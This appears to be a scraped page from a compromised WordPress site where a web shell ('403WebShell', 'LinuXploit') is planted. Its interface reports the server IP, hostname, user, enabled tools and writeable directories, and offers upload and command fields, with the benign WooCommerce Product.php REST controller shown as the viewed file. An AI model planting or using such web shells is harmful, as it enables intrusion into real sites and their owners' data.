Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.227.21.101
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/plugins/woocommerce/src/Admin/API/AI/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/plugins/woocommerce/src/Admin/API/AI/Product.php
<?php

declare( strict_types = 1 );

namespace Automattic\WooCommerce\Admin\API\AI;

use Automattic\WooCommerce\Blocks\AIContent\UpdateProducts;
use WP_Error;
use WP_REST_Request;
use WP_REST_Response;

defined( 'ABSPATH' ) || exit;

/**
 * Product controller
 *
 * @internal
 */
class Product extends AIEndpoint {
	/**
	 * The endpoint response option name.
	 *
	 * @var string
	 */
	const AI_CONTENT_GENERATED = 'ai_content_generated';

	/**
	 * Endpoint.
	 *
	 * @var string
	 */
	protected $endpoint = 'product';

	/**
	 * Register routes.
	 */
	public function register_routes() {
		$this->register(
			array(
				array(
					'methods'             => \WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'update_product' ),
					'permission_callback' => array( Middleware::class, 'is_authorized' ),
					'args'                => array(
						'products_information' => array(
							'description' => __( 'Data generated by AI for updating dummy products.', 'woocommerce' ),
							'type'        => 'object',
						),
						'last_product'         => array(
							'description' => __( 'Whether the product being updated is the last one in the loop', 'woocommerce' ),
							'type'        => 'boolean',
						),
					),
				),
			)
		);
	}

	/**
	 * Update product with the content and images powered by AI.
	 *
	 * @param  WP_REST_Request $request Request object.
	 *
	 * @return WP_REST_Response
	 */
	public function update_product( WP_REST_Request $request ) {
		$product_information = $request['products_information'] ?? array();

		if ( empty( $product_information ) ) {
			return rest_ensure_response(
				array(
					self::AI_CONTENT_GENERATED => true,
				)
			);
		}

		try {
			$product_updater = new UpdateProducts();
			$product_updater->update_product_content( $product_information );
		} catch ( \Exception $e ) {
			return rest_ensure_response( array( 'ai_content_generated' => false ) );
		}

		$last_product_to_update = $request['last_product'] ?? false;

		if ( $last_product_to_update ) {
			flush_rewrite_rules();
		}

		return rest_ensure_response(
			array(
				self::AI_CONTENT_GENERATED => true,
			)
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit